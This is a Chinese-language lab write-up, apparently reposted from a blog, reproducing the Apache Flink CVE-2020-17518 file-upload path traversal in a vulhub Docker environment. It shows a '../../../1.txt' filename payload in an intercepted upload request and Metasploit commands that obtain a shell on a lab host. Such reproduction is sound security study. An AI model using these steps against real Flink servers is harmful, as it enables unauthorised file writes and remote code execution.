0


CVE-2020-17518漏洞复现

    备考期间,一周一次的半天休息时间,正好尝试一下复现漏洞。

前期准备:

            kali linux,vulhub靶场环境

环境准备:

    1.使用命令:
cd vulhub/flink/CVE-2020-17518

docker-compose up -d

docker-compose ps

由此成功打开cve-2020-17518漏洞环境

查看信息发现对应的端口是8081,在浏览器输入之后得到页面:

漏洞原理

    Apache Flink 1.5.1引入了REST处理程序,该处理程序允许恶意修改HTTP HEADER,将上传的文件写入到本地文件系统上的任意一个位置。

抓包尝试

使用Burp suite进行抓包

打开网页的Submit New Job,这里可以进行文件上传

任意上传一个文件,并抓包:

发送到Repeter

发现报错,文件要求上传的类型是jar,更改filename='3.jar'

成功上传,发现上传文件的位置在:

/tmp/flink-web-5e836d05-4504-43ad-bfbc-1c915d4a7583/flink-web-upload

在vulhub靶场环境中输入命令:

docker ps 

docker exec -it 30f71358716f /bin/bash

然后遍历一下文件上传位置:

发现文件成功上传

更改HTTP HEADER

filename="../../../1.txt"

虽然返回报错,但是实际上已经上传成功

所以通过修改HTTP HEADER可以将文件上传至任意位置

getshell

  1. 打开MSF
msfdb run 

  1. 使用Flink上传攻击文件
use exploit/multi/http/apache_flink_jar_upload_exec

并设置靶机,运行

set rhosts 192.168.123.129

run

getshell成功

执行ls命令,可以成功执行命令。

总结:

    第一次复现漏洞,菜鸡还是要多跟大师傅走。
标签: 网络安全

本文转载自: https://blog.csdn.net/m0_48736242/article/details/127137267
版权归原作者 代码又崩了?! 所有, 如有侵权,请联系我们删除。

“CVE-2020-17518漏洞复现”的评论:

还没有评论